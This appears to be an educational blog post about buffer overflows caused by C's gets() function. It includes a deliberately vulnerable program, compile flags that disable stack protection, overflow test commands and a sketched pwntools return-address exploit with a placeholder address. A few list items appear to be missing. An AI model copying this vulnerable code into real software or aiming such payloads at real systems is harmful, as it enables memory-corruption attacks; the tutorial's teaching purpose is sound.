hacking-tutorial

Introduction to Buffer Overflow: The Dangerous gets() Function


My First Encounter with Buffer Overflows

Let me tell you about the day I accidentally crashed my friend’s demo program during a C programming class. I was just trying to input my ridiculously long name, and suddenly—SEGMENTATION FAULT. My friend stared at me in disbelief. That’s when I learned about one of the most notorious functions in C: gets().

What is a Buffer Overflow?

Think of a buffer like a parking lot with exactly 10 spaces. A buffer overflow is like trying to park 15 cars in those 10 spaces—the extra cars spill over into the neighboring area, potentially causing chaos. In programming terms, it’s when data exceeds the allocated memory space and overwrites adjacent memory locations.

The Culprit: gets() Function

The gets() function reads a line from standard input and stores it in a buffer. Sounds innocent, right? WRONG. Here’s why it’s considered one of the most dangerous functions in C:

char buffer[50];
gets(buffer);  // This is a ticking time bomb!

The problem? gets() has no bounds checking. It doesn’t care if your buffer can hold 50 characters—if you input 100 characters, it’ll happily write all 100, obliterating whatever was stored in the memory after your buffer.

A Simple Example That Shows the Problem

Let me show you a vulnerable program I wrote during my learning journey:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter your name: ");
    gets(buffer);  // The dangerous line
    printf("Hello, %s!\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}

What Happens When Things Go Wrong?

  1. Normal input: “Alice” → Everything works fine
  2. Long input: “A” repeated 100 times → CRASH!

When you input more than 64 characters, the excess data overwrites:

The Anatomy of the Attack

Here’s what I discovered happens during a buffer overflow:

Stack Layout (simplified):
+------------------+ <- Higher memory addresses
|  Return Address  |
+------------------+
|  Saved Frame Ptr |
+------------------+
|   buffer[63]     |
|   buffer[62]     |
|      ...         |
|   buffer[1]      |
|   buffer[0]      | <- Lower memory addresses
+------------------+

When gets() doesn’t check bounds:

Why This Matters (Beyond Crashing Programs)

Initially, I thought buffer overflows just caused crashes. Boy, was I naive! Attackers can:

  1. Control program execution by overwriting return addresses
  2. Inject malicious code into the program’s memory
  3. Escalate privileges if the vulnerable program runs with elevated permissions
  4. Execute arbitrary commands on the target system

Proof of Concept: Exploiting Buffer Overflow with gets()

To demonstrate the danger of gets(), let’s create a simple PoC that shows how an overflow can overwrite memory and potentially control execution. Warning: This is for educational purposes only. Never run vulnerable code in production or on systems you don’t own.

Vulnerable Program (poc.c)

#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("You have successfully exploited the buffer overflow!\n");
}

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // No bounds checking - dangerous!
    printf("You entered: %s\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}

How to Compile and Test

  1. Compile the program:

    gcc poc.c -o poc -fno-stack-protector -z execstack
    

    (We disable stack protections for demonstration; in real code, these prevent overflows.)

  2. Run it with short input:

    echo "Short input" | ./poc
    

    Output: Normal execution.

  3. Run with long input to cause overflow:

    python3 -c "print('A' * 80)" | ./poc
    

    This may cause a segmentation fault, as the overflow corrupts the stack.

Advanced Exploitation (Conceptual)

In a real exploit, an attacker could craft input to:

For example, using tools like pwntools in Python:

from pwn import *

# Assuming the binary is vulnerable
p = process('./poc')
payload = b'A' * 72 + p64(0xaddress_of_secret_function)  # Adjust offset and address
p.sendline(payload)
p.interactive()

This PoC illustrates why gets() is banned in secure coding—always use fgets() instead for bounds-checked input.